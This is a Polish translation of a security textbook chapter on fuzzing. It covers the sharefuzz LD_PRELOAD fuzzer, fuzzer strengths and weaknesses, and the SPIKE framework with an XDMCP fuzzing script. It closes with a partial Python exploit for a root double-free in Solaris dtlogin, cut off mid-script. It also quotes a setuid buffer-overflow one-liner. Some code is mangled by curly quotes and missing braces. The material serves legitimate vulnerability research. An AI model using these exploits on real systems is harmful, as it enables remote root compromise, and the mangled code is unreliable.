Sztuka Fuzzingu

Fuzzing to termin, który obejmuje aktywność związaną z wykryciem większości znalezionych błędów bezpieczeństwa. Chociaż badania akademickie na poziomie uniwersyteckim koncentrują się na „sprawdzalnych" technikach bezpieczeństwa, większość badaczy bezpieczeństwa w terenie koncentruje się na technikach, które szybko i skutecznie generują wyniki. Ta Część analizuje narzędzia i metodologie stojące za znajdowaniem możliwych do wykorzystania błędów - bez wątpienia coś bardzo interesującego, podążając za informacjami z poprzednich rozdziałów. Należy jednak pamiętać, że pomimo wszystkich przeprowadzonych badań dotyczących analizy podatności, zdecydowana większość luk w zabezpieczeniach wciąż jest wykrywana przez przypadek. W tym rozdziale dowiesz się, jak mieć szczęście.

Ogólna teoria fuzzingu

Jedną z metod fuzzingu jest technika wstrzykiwania błędów. W świecie bezpieczeństwa oprogramowania wstrzykiwanie błędów zwykle obejmuje wysyłanie złych danych do aplikacji za pomocą bezpośredniej manipulacji różnymi wywołaniami API w jej obrębie, zwykle za pomocą jakiejś formy debuggera lub modułu przechwytującego wywołania biblioteki. Na przykład, możesz losowo sprawić, że wywołanie free() zwróci NULL (co oznacza niepowodzenie) lub sprawić, że każde wywołanie getenv() zwróci długi łańcuch. Większość artykułów i książek na ten temat mówi o oprzyrządowaniu pliku wykonywalnego, a następnie wstrzyknięciu do niego hipotetycznych anomalii. Zasadniczo sprawiają, że free() zwraca zero, a następnie używa diagramów Venna do omówienia statystycznej wartości tego zdarzenia. Cały proces ma większy sens, gdy myślisz o awariach sprzętu, które zdarzają się losowo. Ale rodzaje błędów, których szukamy, nie są zdarzeniami losowymi. Jeśli chodzi o znajdowanie błędów bezpieczeństwa, oprzyrządowanie jest cenne, ale zwykle tylko w połączeniu z przyzwoitym fuzzerem, w którym to momencie staje się analizą środowiska uruchomieniowego. Jednym raczej kiepskim, ale skutecznym przykładem fuzzingu w stylu wstrzykiwania błędów jest sharefuzz. Jest to współdzielona biblioteka dla systemów Solaris lub Linux, która umożliwia testowanie pod kątem typowych lokalnych przepełnień bufora w programach setuid. Jak często widziałeś komunikat, który mówi „TERM=`perl -e ‚print „A" x 5000'` ./setuid.binary daje Ci root!" Cóż, sharefuzz został zaprojektowany, aby uczynić te porady (jeszcze bardziej) bezsensownymi, czyniąc proces ich wykrywania całkowicie automatycznym. W dużej mierze się to udało. Podczas pierwszego tygodnia użytkowania sharefuzz wykrył lukę libsldap.so w systemie Solaris, chociaż nigdy nie została ona zgłoszona firmie Sun. Luka została ujawniona firmie Sun przez kolejnego badacza bezpieczeństwa. Przyjrzyjmy się bliżej sharefuzzowi, aby zrozumieć jego wnętrze:

```
/*sharefuzz.c - a fuzzer originally designed for local fuzzing

but equally good against all sorts of other clib functions. Load

with LD_PRELOAD on most systems.

LICENSE: GPLv2

*/

#include < stdio.h >

/*defines*/

/*#define DOLOCALE /*LOCALE FUZZING*/

#define SIZE 11500 /*size of our returned environment*/
```

```
#define FUZCHAR 0x41 /*our fuzzer character*/
static char *stuff;
static char *stuff2;
static char display[] = “localhost:0”; /*display to return when asked*/
static char mypath[] = “/usr/bin:/usr/sbin:/bin:/sbin”;
static char ld_preload[] = “”;
#include  < sys/select.h >
int select(int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout)
{
printf(“SELECT CALLED!\n”);
int
getuid()
{
printf(“***getuid!\n”);
return 501;
}
int geteuid()
{
printf(“***geteuid\n”);
return 501;
}
int getgid()
{
printf(“getgid\n”);
return 501;
}
int getegid()
{
printf(“getegid\n”);
return 501;
```

```
}
int getgid32()
{
printf("***getgid32\n");
return 501;
}
int getegid32()
{
printf("***getegid32\n");
return 501;
}
/*Getenv fuzzing - modify this as needed to suit your particular
fuzzing needs*/
char *
getenv(char * environment)
{
fprintf(stderr,"GETENV: %s\n",environment);
fflush(0);
/*sometimes you don't want to mess with this stuff*/
if (!strcmp(environment,"DISPLAY"))
return display;
#if 0
if (!strcmp(environment,"PATH"))
{
return NULL;
return mypath;
}
#endif
#if 0
if (!strcmp(environment,"HOME"))
return "/home/dave";
```

```
if (!strcmp(environment,”LD_PRELOAD”))
return NULL;
if (!strcmp(environment,”LOGNAME”))
return NULL;
if (!strcmp(environment,”ORGMAIL”))
{
fprintf(stderr,”ORGMAIL=%s\n”,stuff2);
return “ASDFASDFsd”;
}
if (!strcmp(environment,”TZ”))
return NULL;
#endif
fprintf(stderr,”continued to return default\n”) ;
//sleep(1);
/*return NULL when you don’t want to destroy the environment*/
//return NULL;
/*return stuff when you want to return long strings as each variable*/
fflush(0);
return stuff;
}
int
putenv(char * string)
{
fprintf(stderr,”putenv %s\n”,string);
return 0;
}
int
clearenv()
{
fprintf(stderr,”clearenv \n”);
return 0;
```

```
}

int

unsetenv(char * string)

{

fprintf(stderr,”unsetenv %s\n”,string);

return 0;

}

_init()

{

stuff=malloc(SIZE);

stuff2=malloc(SIZE);

printf(“shared library loader working\n”);

memset(stuff,FUZCHAR,SIZE-1);

stuff[SIZE-1]=0;

memset(stuff2,FUZCHAR,SIZE-1);

stuff2[1]=0;

//system(“/bin/sh”);

}
```

Ten program jest kompilowany do biblioteki współdzielonej, a następnie ładowany za pomocą LD_PRELOAD (w systemach, które go obsługują). Po załadowaniu sharefuzz nadpisze wywołanie getenv() i zawsze zwróci długi łańcuch. Możesz ustawić DISPLAY na prawidłowy wyświetlacz X Windows, aby przetestować programy, które wymagają wyświetlenia okna na ekranie. Ignorując fakt, że w ścisłym tego słowa znaczeniu, sharefuzz jest „wstrzykiwaczem błędów instrumentalnych”, pokrótce omówimy proces korzystania z sharefuzz. Chociaż sharefuzz jest bardzo ograniczonym fuzzerem, wyraźnie ilustruje wiele mocnych i słabych stron bardziej zaawansowanych fuzzerów, takich jak SPIKE, który zostanie omówiony później.

FUZZERY KORZENIOWE I KOMERCYJNE

Oczywiście, aby użyć LD_PRELOAD w programie setuid, musisz być zalogowany jako root, co nieco zmienia zachowanie fuzzera. Nie zapominaj, że niektóre programy nie upuszczają core, więc prawdopodobnie chcesz dołączyć do nich za pomocą gdb. Podobnie jak w przypadku każdego procesu fuzzingu, wszelkie nieoczekiwane zachowania podczas sesji fuzzingu powinny zostać odnotowane i później przeanalizowane pod kątem wskazówek dotyczących potencjalnych błędów. Nadal istnieją domyślne programy dla Solarisa o konfiguracji setuid, które będą podlegać sharefuzzowi. Odnalezienie ich pozostawiamy czytelnikowi następnego leniwego popołudnia. Aby uzyskać bardziej dopracowany przykład podobnego do fuzzera sharefuzz dla aplikacji Windows, sprawdź Holodeck. Ogólnie rzecz biorąc, fuzzery tego rodzaju (znane również jako iniektory błędów) uzyskują dostęp do programu w zbyt prymitywnej warstwie, aby były naprawdę przydatne do testowania bezpieczeństwa. Większość

pytań dotyczących osiągalności błędów pozostawiają bez odpowiedzi i mają wiele problemów z fałszywymi alarmami.

Analiza statyczna a fuzzing

W przeciwieństwie do analizy statycznej (np. przy użyciu analizy kodu binarnego lub kodu źródłowego), gdy fuzzer „znajdzie" lukę w zabezpieczeniach, zazwyczaj przekazuje użytkownikowi zestaw danych wejściowych, które zostały użyte do jej znalezienia. Na przykład, gdy proces ulega awarii pod działaniem sharefuzz, możemy otrzymać wydruk opisujący, które zmienne środowiskowe sharefuzz były w tym czasie fuzzowane i dokładnie, które zmienne mogły go zawiesić. Następnie możemy przetestować każdy z nich ręcznie, aby zobaczyć, który spowodował przepełnienie. W analizie statycznej zwykle znajdujesz ogromne bogactwo błędów, które mogą, ale nie muszą, być osiągalne przez dane wejściowe wysyłane do aplikacji z zewnątrz. Śledzenie każdego błędu znalezionego podczas sesji analizy statycznej w celu sprawdzenia, czy rzeczywiście można go wywołać, nie jest procesem wydajnym ani skalowalnym. Z drugiej strony czasami fuzzer znajdzie błąd, którego nie da się łatwo odtworzyć. Dobrym przykładem są podwójne wolne błędy lub inne błędy, które wymagają dwóch wydarzeń z rzędu. Dlatego większość fuzzerów wysyła pseudolosowe dane wejściowe do swoich celów i pozwala użytkownikowi określić pseudolosową wartość inicjatora w celu zreplikowania udanej sesji. Ten mechanizm umożliwia fuzzerowi eksplorację dużej przestrzeni poprzez próby losowych wartości, ale także pozwala na całkowite zduplikowanie tego procesu później, gdy próbuje zawęzić konkretny błąd.

Fuzzing jest skalowalny

Analiza statyczna to bardzo skomplikowany i pracochłonny proces. Ponieważ analiza statyczna nie określa osiągalności żadnego błędu, badacz bezpieczeństwa jest pozostawiony śledzeniu każdego błędu, aby zbadać go pod kątem możliwości wykorzystania. Ten proces nie jest przenoszony do innych instancji programu. Możliwość wykorzystania błędu może zależeć od wielu rzeczy, w tym od konfiguracji programu, opcji kompilatora, architektury maszyny lub wielu innych zmiennych. Ponadto błąd osiągalny w jednej wersji programu może być całkowicie nieosiągalny w innej. Ale prawie nieuchronnie błąd, który można wykorzystać, spowoduje naruszenie dostępu lub inne wykrywalne uszkodzenie. Jako hakerzy zazwyczaj nie interesują nas błędy, których nie można wykorzystać, ani błędy, do których nie można dotrzeć. Dlatego fuzzer jest idealny dla naszych potrzeb. Mówimy, że fuzzing jest skalowalny, ponieważ fuzzer zbudowany do testowania SMTP może przetestować dowolną liczbę serwerów SMTP (lub konfiguracji tego samego serwera) i najprawdopodobniej znajdzie podobne błędy we wszystkich z nich, jeśli są obecne i osiągalne. Ta cecha sprawia, że dobry fuzzer jest na wagę złota, gdy próbujesz zaatakować nowy system, który uruchamia usługi podobne do innych systemów, które już zaatakowałeś. Innym powodem, dla którego mówimy, że fuzzing jest skalowalny, jest to, że łańcuchy, za pomocą których lokalizujesz błędy w jednym protokole, będą podobne do łańcuchów, za pomocą których lokalizujesz błędy w innych protokołach. Spójrzmy na przykład na ciąg przechodzenia przez katalogi napisany w Pythonie:

```
print "../"*5000
```

Chociaż ten ciąg jest używany do znajdowania błędów, które pozwalają na pobieranie dowolnych plików z określonych serwerów (na przykład programów Web CGI), pokazuje również bardzo interesujący błąd w nowoczesnych wersjach HelixServer (znanych również jako RealServer). Błąd jest podobny do następującego fragmentu kodu C, który przechowuje wskaźniki do każdego katalogu w buforze na stosie:

```
void example(){
```

```
char * ptrs[1024];

char * c;

char **p;

for (p=ptrs,c=instring; *c!=0; c++)

{

if (*c==’/‘) {

*p=c;

p++;

}

}

}
```

Na końcu tej funkcji powinniśmy mieć zestaw wskaźników do każdego poziomu w katalogu. Jeśli jednak mamy więcej niż 1024 ukośników, nadpisaliśmy zapisany wskaźnik ramki i zapisaliśmy adres powrotu ze wskaźnikami do naszego łańcucha. To sprawia, że jest to świetny exploit bez offsetu. Ponadto jest to jedna z niewielu luk, dla których warto napisać szelkod o wielu architekturach, ponieważ nie jest potrzebny adres zwrotny, a RealServer jest dostępny dla systemów Linux, Windows i FreeBSD. Ten konkretny błąd znajduje się w kodzie rejestru w RealServer. Ale fuzzer nie musi wiedzieć, że kod rejestru sprawdza każdy adres URL przekazany do modułu obsługi. Wszystko, co musi wiedzieć, to to, że zastąpi każdą strunę, którą widzi, dużym zestawem strun, którą ma wewnętrznie, opierając się na wcześniejszej wiedzy w niezwykle skuteczny sposób. Należy zauważyć, że duża część procesu budowania nowego fuzzera to powrót do starych luk w zabezpieczeniach i testowanie, czy fuzzer może je wykryć, a następnie abstrahowanie testu tak dalece, jak to możliwe. W ten sposób możesz wykryć przyszłe i nieznane luki w tej samej „klasie” bez konieczności kodowania testu, który ma je wywołać. Twój osobisty gust zadecyduje o tym, jak daleko wyabstrahujesz swój fuzzer. Daje to każdemu fuzzerowi osobowość, ponieważ ich części są wyabstrahowane na różne poziomy, i to jest część tego, co różnicuje wyniki każdego fuzzera.

Słabe strony Fuzzerów

Być może myślisz, że fuzzery są najlepszą rzeczą od czasu krojonego chleba, ale są pewne ograniczenia. Przyjrzyjmy się kilku z nich. Jedną z właściwości fuzzerów jest to, że nie mogą znaleźć każdego błędu, który można znaleźć w analizie statycznej. Wyobraź sobie następujący kod w programie:

```
if (!strcmp(userinput1,”<jakiś statyczny ciąg>”))

{

strcpy(bufor2,wejście użytkownika2);

}
```

Aby ten błąd został osiągnięty, userinput1 musi być ustawiony na łańcuch (znany autorom protokołu, ale nie naszemu fuzzerowi), a userinput2 musi być bardzo długim łańcuchem. Możesz podzielić ten błąd na dwa czynniki:

1. Userinput1 musi być określonym ciągiem.

2. Userinput2 musi być długim ciągiem.

Załóżmy na przykład, że program jest serwerem SMTP, który obsługuje polecenia HELO, EHLO i HELL jako Hello. Być może niektóre błędy są wyzwalane tylko wtedy, gdy serwer widzi PIEKŁO, które jest nieudokumentowaną funkcją używaną tylko przez ten serwer SMTP. Nawet zakładając, że fuzzer ma listę specjalnych łańcuchów, gdy przekroczysz kilka czynników, szybko zauważysz, że proces staje się wykładniczo droższy. Dobry fuzzer ma listę ciągów, które wypróbuje. Oznacza to, że dla każdej zmiennej, którą fuzzujesz, musisz wypróbować N ciągów. A jeśli chcesz dopasować to do innej zmiennej, to są łańcuchy N*M i tak dalej. (Dla fuzzera liczba całkowita to tylko krótki łańcuch binarny.) To są dwie główne słabości fuzzerów. Ogólnie rzecz biorąc, ludzie kompensują te słabości, używając również analizy statycznej lub wykonując analizę binarną środowiska uruchomieniowego względem programu docelowego. Techniki te mogą zwiększyć pokrycie kodu i, miejmy nadzieję, znaleźć błędy ukryte przez tradycyjne fuzzing. Kiedy zaczniesz używać różnego rodzaju fuzzerów, odkryjesz, że różne fuzzery mają również inne słabości. Być może wynika to z ich podstawowej infrastruktury — na przykład SPIKE jest mocno zbudowany na C i nie jest zorientowany obiektowo. Albo okaże się, że niektóre programy docelowe nie nadają się do fuzzingu. Być może są one bardzo powolne, a może ulegają awarii przy prawie każdym złym wejściu, co utrudnia znalezienie możliwego do wykorzystania błędu wśród wszystkich awarii (przychodzą na myśl iMail i rpc.ttdbserverd). A może okaże się, że protokół jest zbyt skomplikowany, aby można go było odszyfrować ze śladów sieci. Na szczęście nie są to jednak częste przypadki.

Modelowanie arbitralnych protokołów sieciowych

Zostawmy na chwilę fuzzery oparte na hoście. Chociaż przydatne do identyfikowania podstawowych właściwości fuzzerów, luki w zabezpieczeniach hosta (znane również jako lokalne) to bez liku. Prawdziwym mięsem jest znajdowanie luk w programach, które nasłuchują na portach TCP lub UDP. Każdy z tych programów korzysta ze zdefiniowanych protokołów sieciowych które komunikują się ze sobą - czasem udokumentowane, czasem nie. Wczesne tworzenie fuzzerów ograniczało się w dużej mierze do skryptów perla i innych prób emulacji protokołów, zapewniając jednocześnie sposób ich mutowania. Ten zbiór skryptów perla prowadzi do dużej ilości protokołów-specyficzne fuzzery - jeden fuzzer dla SNMP, jeden fuzzer dla HTTP, jeden fuzzer dla SMTP i tak dalej, ad infinitum. Ale co, jeśli SMTP lub inny zastrzeżony protokół jest tunelowany przez HTTP? Podstawowym problemem jest zatem modelowanie protokołu sieciowego w taki sposób, aby można było szybko i łatwo włączyć go do innego protokołu sieciowego i upewnić się, że wykona on dobrą robotę obejmując kod programu docelowego w sposób, który znaleźć wiele błędów. Zwykle polega to na zastąpieniu ciągów dłuższymi ciągami lub innymi ciągami i zastąpieniu liczb całkowitych większymi liczbami całkowitymi. Żadne dwa fuzzery nie znajdują tego samego zestawu błędów. Nawet jeśli fuzzer może pokryć cały kod, może nie pokryć go w odpowiedniej kolejności lub z odpowiednimi zestawami zmiennych. W dalszej części tego rozdziału przyjrzymy się technologii, która spełnia te cele, ale najpierw przyjrzymy się innym technologiom fuzzera, które również są całkiem przydatne.

Inne możliwości Fuzzera

Jest wiele innych rzeczy, które możesz zrobić z fuzzerami i możesz użyć kodu, który inni ułożyli, aby zaoszczędzić czas.

Przerzucanie bitów

Wyobraź sobie, że masz protokół sieciowy, który wygląda tak:

< length >< ascii string >< 0x00 >

Odwracanie bitów to praktyka wysyłania tego ciągu do serwera, za każdym razem odwracając bit w nim. Tak więc, najpierw pole długości jest modyfikowane, aby było bardzo duże (lub bardzo ujemne), następnie łańcuch jest mutowany, aby zawierał dziwne znaki, a następnie 0x00 jest przekształcane w duże (lub ujemne) wartości. Każdy z nich może spowodować awarię lub w konsekwencji możliwy do wykorzystania błąd bezpieczeństwa. Jedną z głównych zalet przerzucania bitów jest to, że jest to bardzo proste w pisaniu fuzzer i nadal może znaleźć kilka interesujących błędów. Oczywiście ma jednak poważne ograniczenia.

Modyfikowanie programów Open Source

Społeczność open source mocno zainwestowała w implementację wielu protokołów, które haker chciałby przeanalizować, najczęściej w C. Modyfikując te otwarte implementacje w celu wysyłania dłuższych łańcuchów lub większych liczb całkowitych lub w inny sposób manipulowania stroną kliencką protokołu, można często szybko znajdują luki, które byłyby bardzo trudne do znalezienia nawet przy bardzo dobrym fuzzerze napisanym od podstaw. Dzieje się tak często, ponieważ masz dużo dokumentacji na protokole, wpisany bezpośrednio po stronie klienta. Nie musisz zgadywać odpowiednie wartości pól - są one Ci podawane automatycznie. Ponadto nie musisz omijać żadnych środków uwierzytelniania ani sum kontrolnych związanych z protokołem, ponieważ po stronie klienta są wszystkie potrzebne procedury uwierzytelniania i sum kontrolnych. W przypadku protokołu, który jest mocno uwarstwiony w ochronie przed inżynierią wsteczną lub zaszyfrowany, modyfikacja istniejącej implementacji jest często jedynym prawdziwym wyborem. Należy zauważyć, że poprzez wstrzyknięcie ELF lub DLL możesz nawet nie potrzebować klienta open source do modyfikacji. Często możesz podpiąć niektóre wywołania bibliotek w kliencie, aby umożliwić zarówno przeglądanie, jak i manipulowanie danymi, które klient wyśle. W szczególności protokoły gier sieciowych (Quake, Half-Life, Unreal i inne) są często nakładane na warstwy ochronne w celu zapobiegania oszustom, co czyni tę metodę szczególnie użyteczną.

Fuzzing z dynamiczną analizą

Analiza dynamiczna (debugowanie programu docelowego podczas jego fuzzowania) dostarcza wielu przydatnych danych, a także pozwala na „poprowadzenie" Twojego fuzzera. Na przykład programy RPC zwykle rozwijają swoje zmienne z podanego bloku danych za pomocą poleceń xdr_string, xdr_int lub innych podobnych. Podłączając te procedury, możesz zobaczyć, jakiego rodzaju danych program oczekuje w twoim bloku danych. Ponadto możesz zdeasemblować program podczas jego wykonywania i zobaczyć, który kod jest wykonywany, a jeśli nie podążasz określoną ścieżką kodu, możesz potencjalnie odkryć, dlaczego. Na przykład, być może w programie jest porównanie, które zawsze idzie w jednym kierunku. Ten rodzaj analizy jest nieco słabo rozwinięty i jest stosowany przez wiele osób, aby uczynić następną generację fuzzerów bardziej wszechstronnymi i inteligentnymi.

SPIKE

Teraz, gdy już wiesz sporo o fuzzerach, przyjrzymy się w szczególności jednemu fuzzerowi i obejrzymy kilka przykładów pokazujących, jak skuteczny może być dobry fuzzer, nawet przy nieco skomplikowanych protokołach. Fuzzer, który postanowiliśmy zbadać, nazywa się SPIKE

Co to jest SPIKE?

SPIKE wykorzystuje nieco unikalną strukturę danych wśród fuzzerów, zwaną spike. Dla tych z was, którzy znają teorię kompilatorów, rzeczy, które spike robi, aby śledzić blok danych, będą brzmieć niesamowicie podobnie do tego, co będzie musiał zrobić jednoprzebiegowy asembler. Dzieje się tak,

ponieważ SPIKE zasadniczo składa blok danych i śledzi w nim długości. Aby zademonstrować, jak działa SPIKE, przedstawimy kilka krótkich przykładów. SPIKE jest napisany w C; dlatego poniższe przykłady będą w C. Podstawowy obrazek wygląda jak poniższy kod, z wysokiego poziomu. Początkowo bufor danych jest pusty.

Data: < >

s_binary(“00 01 02 03”); //push some binary data onto the spike

Data: < 00 01 02 03 >

s_block_size_big-endian_word(“Blockname”);

Data: < 00 01 02 03 00 00 00 00 >

Zarezerwowaliśmy trochę miejsca w buforze na słowo big-endian, które ma 4 bajty.

s_block_start(“Blockname”);

Data: < 00 01 02 03 00 00 00 00 >

Tutaj wrzucamy jeszcze cztery bajty na spike:

s_binary („05 06 07 08”);

Data: < 00 01 02 03 00 00 00 00 05 06 07 08 >

Zauważ, że po zakończeniu bloku 4 zostanie wstawiony jako rozmiar bloku.

s_block_end(“Blockname”);

Data: < 00 01 02 03 00 00 00 04 05 06 07 08 >

To był dość prosty przykład, ale tego rodzaju struktura danych - możliwość cofania się i uzupełniania rozmiarów — jest kluczem do zestawu do tworzenia fuzzerów SPIKE. SPIKE udostępnia również procedury do organizowania (przyjmowania struktury danych w pamięci i formatowania jej do transmisji sieciowej) wielu typów struktur danych, które są powszechnie spotykane w protokołach sieciowych. Na przykład ciągi są zwykle reprezentowane jako:

< length in big-endian word format > < string in ascii format > < null zero >

< padding to next word boundary >

Podobnie liczby całkowite mogą być reprezentowane w wielu formatach i końcach, a SPIKE zawiera procedury, które przekształcają je w to, czego potrzebuje Twój protokół.

Dlaczego warto używać struktury danych SPIKE do modelowania protokołów sieciowych?

Istnieje wiele korzyści z używania SPIKE (lub interfejsu API, takiego jak SPIKE) do modelowania dowolnych protokołów sieciowych. SPIKE API zlinearyzuje dowolny protokół sieciowy, aby mógł być następnie reprezentowany jako seria nieznanych danych binarnych, liczb całkowitych, wartości rozmiaru i ciągów. SPIKE może następnie przejść przez protokół i po kolei fuzować każdą liczbę całkowitą, wartość rozmiaru lub łańcuch. Gdy każdy ciąg zostaje rozmyty, wszelkie wartości rozmiaru bloków, które zawierają ten ciąg, są zmieniane w celu odzwierciedlenia bieżącej długości bloku. Tradycyjną alternatywą dla SPIKE jest wstępne obliczenie rozmiarów lub napisanie protokołu w sposób funkcjonalny, tak jak robi to rzeczywisty klient. Te alternatywy zajmują więcej czasu i nie pozwalają na łatwy dostęp do każdego ciągu przez fuzzer.

Różne programy dołączone do SPIKE

SPIKE zawiera wiele przykładowych fuzzerów dla różnych protokołów. Najbardziej godne uwagi jest włączenie fuzzerów MSRPC i SunRPC. Ponadto dostępny jest zestaw ogólnych fuzzerów, których można używać, gdy potrzebne jest normalne połączenie TCP lub UDP. Te fuzzery dostarczają dobrych przykładów, jeśli chcesz rozpocząć fuzzowanie nowego protokołu. Najbardziej wszechstronnie obsługiwanym przez SPIKE jest HTTP. Fuzzery HTTP SPIKE znalazły błędy w prawie każdej większej platformie internetowej i są dobrym punktem wyjścia, jeśli chcesz przeprowadzić fuzzing serwera WWW lub komponentu serwera WWW. W miarę dojrzewania SPIKE (SPIKE miał dwa lata w sierpniu 2003 r.), można się spodziewać, że zacznie on uwzględniać analizę środowiska wykonawczego i dodawać obsługę dodatkowych typów danych i protokołów.

SPIKE Przykład: dtlogin

SPIKE może mieć stromą początkową krzywą uczenia się. Jednak w rękach doświadczonego użytkownika błędy, które prawie nigdy nie zostałyby znalezione nawet przez doświadczonych recenzentów kodu, można szybko i łatwo zlokalizować.

Weźmy na przykład protokół XDMCPD oferowany przez większość stacji roboczych Unix. Chociaż w wielu przypadkach użytkownik SPIKE będzie próbował ręcznie zdeasemblować protokół, w tym przypadku protokół jest szeroko analizowany przez Ethereal (obecnie znany jako Wireshark). Utworzenie tego pliku SPIKE skutkuje następującymi efektami:

```
//xdmcp_request.spk

//compatable with SPIKE 2.6 or above

//port 177 UDP

//use these requests to crash it:

//[dave@localhost src]$ ./generic_send_udp 192.168.1.104 177

~/spikePRIVATE/xdmcp_request.spk 2 28 2

//[dave@localhost src]$ ./generic_send_udp 192.168.1.104 177

~/spikePRIVATE/xdmcp_request.spk 4 19 1

//version

s_binary(“00 01”);

//Opcode (request=07)

//3 is onebyte

//5 is two byte big endian

s_int_variable(0x0007,5);

//message length

//s_binary(“00 17 “);

s_binary_block_size_halfword_bigendian(“message”);

s_block_start(“message”);
```

```
//display number
s_int_variable(0x0001,5);
//connections
s_binary(“01”);
//internet type
s_int_variable(0x0000,5);
//address 192.168.1.100
//connection 1
s_binary(“01”);
//size in bytes
//s_binary(“00 04”);
s_binary_block_size_halfword_bigendian(“ip”);
//ip
s_block_start(“ip”);
s_binary(“c0 a8 01 64”);
s_block_end(“ip”);
//authentication name
//s_binary(“00 00”);
s_binary_block_size_halfword_bigendian(“authname”);
s_block_start(“authname”);
s_string_variable(“”);
s_block_end(“authname”);
//authentication data
s_binary_block_size_halfword_bigendian(“authdata”);
s_block_start(“authdata”);
s_string_variable(“”);
s_block_end(“authdata”);
//s_binary(“00 00”);
//authorization names (2)
//3 is one byte
s_int_variable(0x02,3);
```

```
//size of string in big endian halfword order
s_binary_block_size_halfword_bigendian(“MIT”);
s_block_start(“MIT”);
s_string_variable(“MIT-MAGIC-COOKIE-1”);
s_block_end(“MIT”);
s_binary_block_size_halfword_bigendian(“XC”);
s_block_start(“XC”);
s_string_variable(“XC-QUERY-SECURITY-1”);
s_block_end(“XC”);
//manufacture display id
s_binary_block_size_halfword_bigendian(“DID”);
s_block_start(“DID”);
s_string_variable(“”);
s_block_end(“DID”);
s_block_end(“message”);
```

Ważną rzeczą w tym pliku jest to, że jest to w zasadzie bezpośrednia kopia sekcji Ethereal. Struktura protokołu jest zachowana, ale spłaszczona do naszego użytku. Gdy SPIKE uruchamia ten plik, będzie stopniowo generować zmodyfikowane pakiety żądań xdmcp i wysyłać je do celu. W pewnym momencie na Solarisie program serwera dwukrotnie zwolni () bufor, który kontrolujemy. Jest to klasyczny, podwójnie wolny błąd, który może być wykorzystany do przejęcia kontroli nad usługą zdalną działającą jako root. Ponieważ dtlogin (program, który się zawiesza) jest dołączony do wielu wersji Uniksa, takich jak AIX, Tru64, Irix i innych, które zawierają CDE, możesz być pewien, że ten exploit obejmie również te platformy. Nieźle jak na godzinę pracy. Poniższy plik .spk jest dobrym przykładem pliku SPIKE, który jest bardziej złożony niż pokazany wcześniej trywialny przykład, ale nadal jest łatwy do zrozumienia, ponieważ protokół jest w pewnym stopniu znany. Jak widać, wiele bloków można przeplatać ze sobą, a SPIKE zaktualizuje tyle rozmiarów, ile jest to konieczne. Znalezienie luki w zabezpieczeniach nie polegało na odczytaniu źródła ani nawet dogłębnej analizie protokołu i mogło w rzeczywistości zostać wygenerowane automatycznie przez analizator analizy Ethereal.

Zawężając ten atak, dochodzimy do:

```
#!/usr/bin/python
#Copyright: Dave Aitel
#license: GPLv2.0
#SPIKEd! :>
#v 0.3 9/17.02
import os
```

```
import sys
import socket
import time
#int to intelordered string conversion
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str
def sun_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (d,c,b,a)
return str
#returns a binary version of the string
def binstring(instring,size=1):
result=""
#erase all whitespace
tmp=instring.replace(" ","")
```

```
tmp=tmp.replace("\n","")
tmp=tmp.replace("\t","")
if len(tmp) % 2 != 0:
print "tried to binstring something of illegal length"
return ""
while tmp!="":
two=tmp[:2]
#account for 0x and \x stuff
if two!="0x" and two!="\\x":
result+=chr(int(two,16))
tmp=tmp[2:]
return result*size
#for translation from .spk
def s_binary(instring):
return binstring(instring)
#overwrites a string in place...hard to do in python
def stroverwrite(instring,overwritestring,offset):
head=instring[:offset]
#print head
tail=instring[offset+len(overwritestring):]
#print tail
result=head+overwritestring+tail
return result
#let's not mess up our tty
def prettyprint(instring):
tmp=""
for ch in instring:
if ch.isalpha():
tmp+=ch
else:
value="%x" % ord(ch)
```

```
tmp+=”[“+value+”]“
return tmp
#this packet contains a lot of data
packet1=””“
packet1+=binstring(“0x00 0x01 0x00 0x07 0x00 0xaa 0x00 0x01 0x01 0x00”)
packet1+=binstring(“0x00 0x01 0x00 0x04 0xc0 0xa8 0x01 0x64 0x00 0x00
0x00 0x00 0x02 0x00”)
packet1+=binstring(“0x80”)
#not freed?
packet1+=binstring(“0xfe 0xfe 0xfe 0xfe “)
#this is the string that gets freed right here
packet1+=binstring(“0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xfe 0xf1
0xf2 0xf3”)
packet1+=binstring(“0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa
0xaa 0xff”)
#here is what is actually passed into free() next time
#i0
packet1+=sun_order(0xfefbb5f0)
packet1+=binstring(“0xcf 0xdf 0xef 0xcf “)
#second i0 if we pass first i0
packet1+=sun_order(0x51fc8)
packet1+=binstring(“0xff 0xaa 0xaa 0xaa”)
#third and last
packet1+=sun_order(0xffbed010)
packet1+=binstring(“0xaa 0xaa 0xaa 0xaa 0xaa 0xaa 0xaa”)
packet1+=binstring(“0xff 0x5f 0xff 0xff 0xff 0x9f 0xff 0xff 0xff 0xff
0xff 0xff 0xff 0xff”)
packet1+=binstring(“0xff 0x3f 0xff 0xff 0xff 0xff 0xff 0xff 0xff 0xff
0xff 0xff 0xff 0xff”)
packet1+=binstring(“0xff 0xff 0xff 0x3f 0xff 0xff 0xff 0x2f 0xff 0xff
0x1f 0xff 0xff 0xff”)
```

```
packet1+=binstring("0xff 0xfa 0xff 0xfc 0xff 0xfb 0xff 0xff 0xfc 0xff
0xff 0xff 0xfd 0xff")
packet1+=binstring("0xf1 0xff 0xf2 0xff 0xf3 0xff 0xf4 0xff 0xf5 0xff
0xf6 0xff 0xf7 0xff")
packet1+=binstring("0xff 0xff 0xff ")
#end of string
packet1+=binstring("0x00 0x13 0x58 0x43 0x2d 0x51 0x55 0x45 0x52 0x59
0x2d")
packet1+=binstring("0x53 0x45 0x43 0x55 0x52 0x49 0x54 0x59 0x2d 0x31
0x00 0x00 ")
#this packet causes the memory overwrite
packet2=""
packet2+=binstring("0x00 0x01 0x00 0x07 0x00 0x3c 0x00 0x01")
packet2+=binstring("0x01 0x00 0x00 0x01 0x00 0x04 0xc0 0xa8 0x01 0x64
0x00 0x00 0x00 0x00")
packet2+=binstring("0x06 0x00 0x12 0x4d 0x49 0x54 0x2d 0x4d 0x41 0x47
0x49 0x43 0x2d 0x43")
